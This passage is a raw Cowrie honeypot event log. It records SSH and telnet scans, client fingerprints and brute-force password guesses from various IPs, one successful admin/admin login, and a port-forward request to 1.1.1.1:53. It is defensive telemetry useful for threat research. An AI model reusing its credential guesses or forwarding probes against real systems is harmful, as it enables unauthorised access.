sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:06.238269Z","src_ip":"89.223.69.22","session":"a0cba3c17f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parol12345","message":"login attempt [root/parol12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:06.573431Z","src_ip":"89.223.69.22","session":"a0cba3c17f00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:07.688648Z","src_ip":"89.223.69.22","session":"a0cba3c17f00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.32715177536011,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:08.098169Z","src_ip":"135.148.14.151","session":"da38547cc89b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":3958,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0dce219349e","protocol":"ssh","message":"New connection: 87.251.64.176:3958 (10.17.0.5:22) [session: c0dce219349e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:19.136390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:19.141104Z","src_ip":"87.251.64.176","session":"c0dce219349e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:19.235221Z","src_ip":"87.251.64.176","session":"c0dce219349e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:19.522158Z","src_ip":"87.251.64.176","session":"c0dce219349e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:19.619024Z","session":"c0dce219349e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:19.717571Z","src_ip":"87.251.64.176","session":"c0dce219349e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52470,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d9d9501af29","protocol":"telnet","message":"New connection: 135.148.14.151:52470 (159.203.135.109:23) [session: 0d9d9501af29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:19.760321Z"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:19.814789Z","src_ip":"87.251.64.176","session":"c0dce219349e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55490,"dst_ip":"159.203.135.109","dst_port":23,"session":"cba0f2ed11d9","protocol":"telnet","message":"New connection: 135.148.14.151:55490 (159.203.135.109:23) [session: cba0f2ed11d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:29.124338Z"}
{"eventid":"cowrie.session.closed","duration":37.30862307548523,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:29.992844Z","src_ip":"135.148.14.151","session":"20b94f5728c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58850,"dst_ip":"159.203.135.109","dst_port":23,"session":"fab4034fc4ac","protocol":"telnet","message":"New connection: 135.148.14.151:58850 (159.203.135.109:23) [session: fab4034fc4ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:35.754554Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59370,"dst_ip":"159.203.135.109","dst_port":23,"session":"882acfb8e4d4","protocol":"telnet","message":"New connection: 135.148.14.151:59370 (159.203.135.109:23) [session: 882acfb8e4d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:37.884830Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60108,"dst_ip":"159.203.135.109","dst_port":23,"session":"431ced8429dd","protocol":"telnet","message":"New connection: 135.148.14.151:60108 (159.203.135.109:23) [session: 431ced8429dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:39.233341Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33608,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a947e198c95","protocol":"telnet","message":"New connection: 135.148.14.151:33608 (159.203.135.109:23) [session: 9a947e198c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:42.750572Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":60172,"dst_ip":"10.17.0.5","dst_port":22,"session":"08f7361f3f43","protocol":"ssh","message":"New connection: 89.108.118.91:60172 (10.17.0.5:22) [session: 08f7361f3f43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:48.100463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:48.105552Z","src_ip":"89.108.118.91","session":"08f7361f3f43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:48.241137Z","src_ip":"89.108.118.91","session":"08f7361f3f43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"230187","message":"login attempt [root/230187] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:48.651101Z","src_ip":"89.108.118.91","session":"08f7361f3f43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:49.789194Z","src_ip":"89.108.118.91","session":"08f7361f3f43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38996,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5b5f36e43b8","protocol":"telnet","message":"New connection: 135.148.14.151:38996 (159.203.135.109:23) [session: e5b5f36e43b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:51.222993Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.11.51","src_port":17908,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce171f11cea9","protocol":"ssh","message":"New connection: 172.104.11.51:17908 (159.203.135.109:22) [session: ce171f11cea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:56.086879Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:56.094893Z","src_ip":"172.104.11.51","session":"ce171f11cea9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:56.100119Z","src_ip":"172.104.11.51","session":"ce171f11cea9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.11.51","src_port":17916,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9a9382b83d2","protocol":"ssh","message":"New connection: 172.104.11.51:17916 (159.203.135.109:22) [session: b9a9382b83d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:56.110067Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\xe4\u001a\u000b\\xbb \\x8dF\\xe9Kq\\x81`n\\xf4`\\x82\\x83\\xde\u007f\u0006\\xb5-\u058b\\xbdo\\xbf\\+%\u007fg\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\xe4\u001a\u000b\\xbb \\x8dF\\xe9Kq\\x81`n\\xf4`\\x82\\x83\\xde\u007f\u0006\\xb5-\u058b\\xbdo\\xbf\\+%\u007fg\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:56.114946Z","src_ip":"172.104.11.51","session":"b9a9382b83d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:56.119095Z","src_ip":"172.104.11.51","session":"b9a9382b83d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.5112841129303,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:56.271501Z","src_ip":"135.148.14.151","session":"0d9d9501af29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43160,"dst_ip":"159.203.135.109","dst_port":23,"session":"7954857cf1a3","protocol":"telnet","message":"New connection: 135.148.14.151:43160 (159.203.135.109:23) [session: 7954857cf1a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:28:59.914410Z"}
{"eventid":"cowrie.session.closed","duration":37.552743434906006,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:06.676979Z","src_ip":"135.148.14.151","session":"cba0f2ed11d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":57098,"dst_ip":"10.17.0.5","dst_port":22,"session":"311411e20641","protocol":"ssh","message":"New connection: 193.228.128.84:57098 (10.17.0.5:22) [session: 311411e20641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:08.629970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:08.635896Z","src_ip":"193.228.128.84","session":"311411e20641","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:08.739870Z","src_ip":"193.228.128.84","session":"311411e20641","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deluxe","message":"login attempt [root/deluxe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:09.044651Z","src_ip":"193.228.128.84","session":"311411e20641","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44546,"dst_ip":"159.203.135.109","dst_port":23,"session":"f012f65a1ed0","protocol":"telnet","message":"New connection: 135.148.14.151:44546 (159.203.135.109:23) [session: f012f65a1ed0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:10.073854Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:10.148841Z","src_ip":"193.228.128.84","session":"311411e20641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.4215624332428,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:12.306282Z","src_ip":"135.148.14.151","session":"882acfb8e4d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.48900890350342,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:13.722241Z","src_ip":"135.148.14.151","session":"431ced8429dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.278706073760986,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:18.029152Z","src_ip":"135.148.14.151","session":"9a947e198c95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52870,"dst_ip":"159.203.135.109","dst_port":23,"session":"316b02d61848","protocol":"telnet","message":"New connection: 135.148.14.151:52870 (159.203.135.109:23) [session: 316b02d61848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:21.916591Z"}
{"eventid":"cowrie.session.closed","duration":46.906638383865356,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:22.661052Z","src_ip":"135.148.14.151","session":"fab4034fc4ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.16043019294739,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:31.383334Z","src_ip":"135.148.14.151","session":"e5b5f36e43b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.27506113052368,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:36.189354Z","src_ip":"135.148.14.151","session":"7954857cf1a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.147.249.81","src_port":34900,"dst_ip":"159.203.135.109","dst_port":22,"session":"328d064b88b7","protocol":"ssh","message":"New connection: 45.147.249.81:34900 (159.203.135.109:22) [session: 328d064b88b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:36.547710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:36.551836Z","src_ip":"45.147.249.81","session":"328d064b88b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:36.626807Z","src_ip":"45.147.249.81","session":"328d064b88b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:36.948997Z","src_ip":"45.147.249.81","session":"328d064b88b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:38.024852Z","src_ip":"45.147.249.81","session":"328d064b88b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":58632,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3d8b2b49086","protocol":"ssh","message":"New connection: 2.57.121.112:58632 (159.203.135.109:22) [session: c3d8b2b49086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:42.664484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:42.857017Z","src_ip":"2.57.121.112","session":"c3d8b2b49086","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:29:42.956395Z","src_ip":"2.57.121.112","session":"c3d8b2b49086","protocol":"ssh"}
